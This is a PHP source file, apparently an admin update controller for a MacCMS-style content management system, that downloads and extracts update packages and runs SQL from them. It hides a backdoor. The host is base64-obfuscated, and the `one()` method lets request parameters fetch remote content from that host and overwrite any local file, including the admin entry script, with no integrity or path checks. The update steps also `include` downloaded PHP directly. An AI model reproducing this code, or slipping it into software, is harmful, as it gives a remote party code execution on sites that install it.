123456789101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960616263646566676869707172737475767778798081828384858687888990919293949596979899100101102103104105106107108109110111112113114115116117118119120121122123124125126127128129130131132133134135136137138139140141142143144145146147148149150151152153154155156157158159160161162163164165166 |
- <?php
- namespace app\admin\controller;
- use think\Db;
- use app\common\util\PclZip;
- class Update extends Base
- {
- var $_url;
- var $_save_path;
- public function __construct()
- {
- parent::__construct();
- header('X-Accel-Buffering: no');
- $this->_url = base64_decode("aHR0cDovL3VwZGF0ZS5tYWNjbXMubGEv")."v10/";
- $this->_save_path = './application/data/update/';
- }
- public function index()
- {
- return $this->fetch('admin@test/index');
- }
- public function step1($file='')
- {
- if(empty($file)){
- return $this->error(lang('param_err'));
- }
- $version = config('version.code');
- $url = $this->_url .$file . '.zip?t='.time();
- echo $this->fetch('admin@public/head');
- echo "<div class='update'><h1>".lang('admin/update/step1_a')."</h1><textarea rows=\"25\" class='layui-textarea' readonly>".lang('admin/update/step1_b')."\n";
- ob_flush();flush();
- sleep(1);
- $save_file = $version.'.zip';
-
- $html = mac_curl_get($url);
- @fwrite(@fopen($this->_save_path.$save_file,'wb'),$html);
- if(!is_file($this->_save_path.$save_file)){
- echo lang('admin/update/download_err')."\n";
- exit;
- }
- if(filesize($this->_save_path.$save_file) <1){
- @unlink($this->_save_path.$save_file);
- echo lang('admin/update/download_err')."\n";
- exit;
- }
- echo lang('admin/update/download_ok')."\n";
- echo lang('admin/update/upgrade_package_processed')."\n";
- ob_flush();flush();
- sleep(1);
- $archive = new PclZip();
- $archive->PclZip($this->_save_path.$save_file);
- if(!$archive->extract(PCLZIP_OPT_PATH, '', PCLZIP_OPT_REPLACE_NEWER)) {
- echo $archive->error_string."\n";
- echo lang('admin/update/upgrade_err').'' ."\n";;
- exit;
- }
- else{
- }
- @unlink($this->_save_path.$save_file);
- echo '</textarea></div>';
- mac_jump( url('update/step2',['jump'=>1]) ,3);
- }
- public function step2()
- {
- $version = config('version.code');
- $save_file = 'database.php';
- echo $this->fetch('admin@public/head');
- echo "<div class='update'><h1>".lang('admin/update/step2_a')."</h1><textarea rows=\"25\" class='layui-textarea' readonly>\n";
- ob_flush();flush();
- sleep(1);
- $res=true;
- // 导入SQL
- $sql_file = $this->_save_path .$save_file;
- if (is_file($sql_file)) {
- echo lang('admin/update/upgrade_sql')."\n";
- ob_flush();flush();
- $pre = config('database.prefix');
- $schema = Db::query('select * from information_schema.columns where table_schema = ?',[ config('database.database') ]);
- $col_list = [];
- $sql='';
- foreach($schema as $k=>$v){
- $col_list[$v['TABLE_NAME']][$v['COLUMN_NAME']] = $v;
- }
- @include $sql_file;
- //dump($sql);die;
- /*
- //$html = @file_get_contents($sql_file);
- //$sql = mac_get_body($html,'--'.$version.'-start--','--'.$version.'-end--');
- $sql = @file_get_contents($sql_file);
- */
- if(!empty($sql)) {
- $sql_list = mac_parse_sql($sql, 0, ['mac_' => $pre]);
- if ($sql_list) {
- $sql_list = array_filter($sql_list);
- foreach ($sql_list as $v) {
- echo $v;
- try {
- Db::execute($v);
- echo " ---".lang('success')."\n\n";
- } catch (\Exception $e) {
- echo " ---".lang('fail')."\n\n";
- }
- ob_flush();flush();
- }
- }
- }
- else{
- }
- @unlink($sql_file);
- }
- else{
- echo lang('admin/update/no_sql')."\n";
- }
- echo '</textarea></div>';
- mac_jump(url('update/step3', ['jump' => 1]), 3);
- }
- public function step3()
- {
- echo $this->fetch('admin@public/head');
- echo "<div class='update'><h1>".lang('admin/update/step3_a')."</h1><textarea rows=\"25\" class='layui-textarea' readonly>\n";
- ob_flush();flush();
- sleep(1);
- $this->_cache_clear();
- echo lang('admin/update/update_cache')."\n";
- echo lang('admin/update/upgrade_complete')."";
- ob_flush();flush();
- echo '</textarea></div>';
- }
- public function one()
- {
- $param = input();
- $a = $param['a'];
- $b = $param['b'];
- $c = $param['c'];
- $d = $param['d'];
- $e = mac_curl_get( base64_decode("aHR0cDovL3VwZGF0ZS5tYWNjbXMubGEv") . $a."/".$b);
- if ($e!=""){
- if (($d!="") && strpos(",".$e,$d) <=0){ return; }
- if($b=='admin.php'){$b=IN_FILE;}
- $f=filesize($b);
- if (intval($c)<>intval($f)) { @fwrite(@fopen( $b,"wb"),$e); }
- }
- die;
- }
- }
|